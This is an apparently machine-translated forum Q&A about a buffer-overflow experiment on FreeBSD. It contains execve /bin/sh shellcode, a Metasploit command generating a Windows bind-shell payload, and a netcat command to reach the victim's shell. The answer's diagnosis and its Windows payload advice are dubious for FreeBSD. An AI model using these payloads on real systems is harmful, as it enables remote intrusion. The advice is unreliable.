Buffer overflow - program terminates after shell spawning

Question

I experimented with buffer overflows on a FreeBSD system. As a first experiment, I tried to get a running program to start another process (/ bin / hostname in this case). Everything worked fine, the program printed the host name, and then terminated. After that, I tried to run the program in the shell (i.e. Run / bin / sh). I suggested that this can be done by simply exchanging a string representing the program being called. When I try this, the exploited program simply exits, according to gdb it successfully creates a new process (/ bin / sh). However, no shell is created. Then I tried my first exploit and moved the / bin / sh file to / bin / hostname, but didn't change anything. Now my question is: what, apparently, is different from executing / bin / sh from any other command?

For reference, to try to spawn a shell, I used the following shellcode:

char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x54\x53\xb0\x3b\x50\xcd\x80"; 

Answer 1

Yes, I understand what you mean, but I believe that you are making one fundamental mistake. You invoke the interactive shell without binding it.

This is similar to calling the ifconfig command. If you want to execute one command, then your shell code is fine, however, if you want an interactive shell, you cannot just run sh.

Just running sh will cause the shell to execute; it will not give you interactive shell control.

---

Solution: Use the shell code generator to create a tcp reverse shell or a binding shell, and use this as a payload for your exploit.

If you are trying to do this in Metasploit, then here is an example of the command you want.

 msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -tc 

• Msfpayload is the name of the function. windows / shell_bind_tcp - this is to use the path
• LPORT is the port on which the remote victim machine will have an accessible shell
• R for raw output
• Then we pass this to msfencode, since we need it to be C executable code, and this needs to be compiled for this architecture
• -e indicates the encoding type and architecture for support, for example, for Win Sp2
• -b indicates bytes that you cannot use in shell code. For example, 00 is the end of a string byte
• -t is the output type, like C code.

Study a little more and play and you will get it. In fact, it is much more difficult to get an interactive shell compared to executing a static command.

After execution, you can use a program such as netcat to connect and use the shell.

 netcat.exe -nv <victim ip> <port where shell was bound to> 

I hope this was the right decision.